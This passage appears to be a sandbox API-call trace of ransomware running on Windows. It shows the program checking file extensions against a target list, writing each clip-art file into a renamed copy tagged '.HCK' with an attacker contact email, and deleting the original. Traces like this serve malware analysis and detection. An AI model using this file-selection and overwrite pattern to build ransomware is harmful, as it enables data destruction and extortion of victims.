Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0241.457] lstrlenW (lpString=".1cd") returned 4 [0241.457] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0241.457] lstrlenW (lpString=".jpg") returned 4 [0241.457] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0241.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0241.457] lstrlenW (lpString=".doc") returned 4 [0241.457] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.457] lstrlenW (lpString=".docx") returned 5 [0241.457] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0241.457] lstrlenW (lpString=".pdf") returned 4 [0241.457] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.457] lstrlenW (lpString=".xls") returned 4 [0241.457] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.457] lstrlenW (lpString=".xlsx") returned 5 [0241.457] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0241.457] lstrlenW (lpString=".ppt") returned 4 [0241.457] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0241.458] lstrlenW (lpString=".zip") returned 4 [0241.458] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.458] lstrlenW (lpString=".rar") returned 4 [0241.458] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.458] lstrlenW (lpString=".bz2") returned 4 [0241.458] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.458] lstrlenW (lpString=".7z") returned 3 [0241.458] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0241.458] lstrlenW (lpString=".dbf") returned 4 [0241.458] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0241.458] lstrlenW (lpString=".1cd") returned 4 [0241.458] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.JPG") returned 68 [0241.458] lstrlenW (lpString=".jpg") returned 4 [0241.458] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.458] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0241.458] lstrlenW (lpString="J0182689.JPG") returned 12 [0241.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0241.459] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=16615) returned 1 [0241.459] CloseHandle (hObject=0x54c) returned 1 [0241.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg")) returned 0x220 [0241.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0241.460] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.460] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0241.461] GetLastError () returned 0x0 [0241.461] ReadFile (in: hFile=0x54c, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x40e7, lpOverlapped=0x0) returned 1 [0241.463] WriteFile (in: hFile=0x558, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x40f0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x40f0, lpOverlapped=0x0) returned 1 [0241.463] ReadFile (in: hFile=0x54c, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.463] WriteFile (in: hFile=0x558, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.464] SetEndOfFile (hFile=0x558) returned 1 [0241.464] CloseHandle (hObject=0x558) returned 1 [0241.464] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.464] SetEndOfFile (hFile=0x54c) returned 1 [0241.466] CloseHandle (hObject=0x54c) returned 1 [0241.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.944] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg")) returned 1 [0241.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0241.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0241.945] lstrlenW (lpString=".doc") returned 4 [0241.945] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.945] lstrlenW (lpString=".docx") returned 5 [0241.945] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0241.945] lstrlenW (lpString=".pdf") returned 4 [0241.945] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.945] lstrlenW (lpString=".xls") returned 4 [0241.945] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.945] lstrlenW (lpString=".xlsx") returned 5 [0241.945] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0241.945] lstrlenW (lpString=".ppt") returned 4 [0241.945] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0241.945] lstrlenW (lpString=".zip") returned 4 [0241.945] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.945] lstrlenW (lpString=".rar") returned 4 [0241.945] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.946] lstrlenW (lpString=".bz2") returned 4 [0241.946] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.946] lstrlenW (lpString=".7z") returned 3 [0241.946] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0241.946] lstrlenW (lpString=".dbf") returned 4 [0241.946] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0241.946] lstrlenW (lpString=".1cd") returned 4 [0241.946] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0241.946] lstrlenW (lpString=".jpg") returned 4 [0241.946] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0241.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0241.946] lstrlenW (lpString=".doc") returned 4 [0241.946] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.946] lstrlenW (lpString=".docx") returned 5 [0241.946] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0241.946] lstrlenW (lpString=".pdf") returned 4 [0241.946] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.946] lstrlenW (lpString=".xls") returned 4 [0241.946] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.946] lstrlenW (lpString=".xlsx") returned 5 [0241.946] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0241.946] lstrlenW (lpString=".ppt") returned 4 [0241.946] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0241.946] lstrlenW (lpString=".zip") returned 4 [0241.946] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.946] lstrlenW (lpString=".rar") returned 4 [0241.946] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.946] lstrlenW (lpString=".bz2") returned 4 [0241.946] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.946] lstrlenW (lpString=".7z") returned 3 [0241.946] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0241.946] lstrlenW (lpString=".dbf") returned 4 [0241.946] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0241.946] lstrlenW (lpString=".1cd") returned 4 [0241.946] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.JPG") returned 68 [0241.947] lstrlenW (lpString=".jpg") returned 4 [0241.947] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.947] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0241.947] lstrlenW (lpString="J0185776.WMF") returned 12 [0241.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0241.947] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=27096) returned 1 [0241.947] CloseHandle (hObject=0x3bc) returned 1 [0241.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf")) returned 0x220 [0241.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0241.948] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.948] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0241.949] GetLastError () returned 0x0 [0241.949] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x69d8, lpOverlapped=0x0) returned 1 [0241.951] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x69e0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x69e0, lpOverlapped=0x0) returned 1 [0241.952] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.952] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.952] SetEndOfFile (hFile=0x56c) returned 1 [0241.952] CloseHandle (hObject=0x56c) returned 1 [0241.952] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.952] SetEndOfFile (hFile=0x3bc) returned 1 [0241.955] CloseHandle (hObject=0x3bc) returned 1 [0241.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf")) returned 1 [0241.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0241.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0241.956] lstrlenW (lpString=".doc") returned 4 [0241.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.956] lstrlenW (lpString=".docx") returned 5 [0241.956] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0241.956] lstrlenW (lpString=".pdf") returned 4 [0241.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.956] lstrlenW (lpString=".xls") returned 4 [0241.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.956] lstrlenW (lpString=".xlsx") returned 5 [0241.956] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0241.956] lstrlenW (lpString=".ppt") returned 4 [0241.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0241.956] lstrlenW (lpString=".zip") returned 4 [0241.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.956] lstrlenW (lpString=".rar") returned 4 [0241.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.956] lstrlenW (lpString=".bz2") returned 4 [0241.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.956] lstrlenW (lpString=".7z") returned 3 [0241.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0241.957] lstrlenW (lpString=".dbf") returned 4 [0241.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0241.957] lstrlenW (lpString=".1cd") returned 4 [0241.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0241.957] lstrlenW (lpString=".jpg") returned 4 [0241.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0241.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0241.957] lstrlenW (lpString=".doc") returned 4 [0241.957] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.957] lstrlenW (lpString=".docx") returned 5 [0241.957] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0241.957] lstrlenW (lpString=".pdf") returned 4 [0241.957] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.957] lstrlenW (lpString=".xls") returned 4 [0241.957] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.957] lstrlenW (lpString=".xlsx") returned 5 [0241.957] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0241.957] lstrlenW (lpString=".ppt") returned 4 [0241.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0241.957] lstrlenW (lpString=".zip") returned 4 [0241.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.957] lstrlenW (lpString=".rar") returned 4 [0241.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.957] lstrlenW (lpString=".bz2") returned 4 [0241.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.957] lstrlenW (lpString=".7z") returned 3 [0241.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0241.957] lstrlenW (lpString=".dbf") returned 4 [0241.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0241.957] lstrlenW (lpString=".1cd") returned 4 [0241.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0241.957] lstrlenW (lpString=".jpg") returned 4 [0241.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.958] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0241.958] lstrlenW (lpString="J0185778.WMF") returned 12 [0241.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0241.958] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=25312) returned 1 [0241.958] CloseHandle (hObject=0x3bc) returned 1 [0241.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf")) returned 0x220 [0241.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0241.959] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.959] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0241.960] GetLastError () returned 0x0 [0241.960] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x62e0, lpOverlapped=0x0) returned 1 [0241.962] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x62f0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x62f0, lpOverlapped=0x0) returned 1 [0241.963] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.963] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.963] SetEndOfFile (hFile=0x56c) returned 1 [0241.963] CloseHandle (hObject=0x56c) returned 1 [0241.963] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.963] SetEndOfFile (hFile=0x3bc) returned 1 [0241.965] CloseHandle (hObject=0x3bc) returned 1 [0241.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.965] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185778.wmf")) returned 1 [0241.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0241.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0241.966] lstrlenW (lpString=".doc") returned 4 [0241.966] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.966] lstrlenW (lpString=".docx") returned 5 [0241.966] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0241.966] lstrlenW (lpString=".pdf") returned 4 [0241.966] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.966] lstrlenW (lpString=".xls") returned 4 [0241.966] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.966] lstrlenW (lpString=".xlsx") returned 5 [0241.966] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0241.966] lstrlenW (lpString=".ppt") returned 4 [0241.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0241.966] lstrlenW (lpString=".zip") returned 4 [0241.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.967] lstrlenW (lpString=".rar") returned 4 [0241.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.967] lstrlenW (lpString=".bz2") returned 4 [0241.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.967] lstrlenW (lpString=".7z") returned 3 [0241.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0241.967] lstrlenW (lpString=".dbf") returned 4 [0241.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0241.967] lstrlenW (lpString=".1cd") returned 4 [0241.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0241.967] lstrlenW (lpString=".jpg") returned 4 [0241.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185778.WMF") returned 68 [0241.967] lstrlenW 